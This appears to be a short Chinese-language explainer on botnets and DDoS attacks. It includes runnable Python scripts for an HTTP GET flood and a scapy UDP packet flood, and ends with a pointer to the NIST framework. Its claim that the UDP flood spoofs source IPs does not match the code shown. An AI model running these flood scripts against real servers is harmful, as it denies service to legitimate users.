Botnet DDos

### Botnet与DDoS攻击概述

Botnet是一种由大量被恶意软件感染并控制的计算机组成的网络，这些受控设备可以执行各种非法活动，其中包括分布式拒绝服务(DDoS)攻击。当发起DDoS攻击时，攻击者利用botnet中的众多节点向目标服务器发送海量请求，造成其资源耗尽或带宽饱和，从而阻止合法用户的访问[^1]。

在具体实施过程中，存在多种类型的DDoS攻击方式：

#### HTTP Flood 攻击
这种形式的攻击主要针对Web应用层（第七层），通过模拟正常客户端的行为不断发出HTTP GET/POST请求来消耗服务器端口连接数以及CPU处理能力，最终使网站无法响应真实访客的需求。

import requests

def http_flood(target_url, num_requests=1000):
    for _ in range(num_requests):
        try:
            response = requests.get(target_url)
            print(f"Request sent to {target_url}, status code: {response.status_code}")
        except Exception as e:
            print(e)

http_flood('https://example.com')

#### UDP Flood 攻击
不同于HTTP flood集中于特定的应用程序接口，UDP flood则是在传输层（第四层）工作，它会随机生成大量的伪造源IP地址并向受害者主机发送无意义的数据包，使得接收方忙于验证和丢弃无效流量而影响到正常的通信效率。

from scapy.all import *

def udp_flood(target_ip, target_port, duration_seconds=60):
    start_time = time.time()
    
    while (time.time() - start_time) < duration_seconds:
        packet = IP(dst=target_ip)/UDP(dport=target_port)/(Raw(load="X"*10))
        send(packet, verbose=False)

udp_flood('192.168.1.1', 80)

为了有效应对上述威胁，在构建网络安全策略时应当遵循权威机构发布的指导方针，比如美国国家标准与技术研究院(NIST)提出的《Cybersecurity Framework》，该框架提供了识别风险、保护资产、检测异常事件等一系列措施建议，有助于增强信息系统抵御此类攻击的能力[^2]。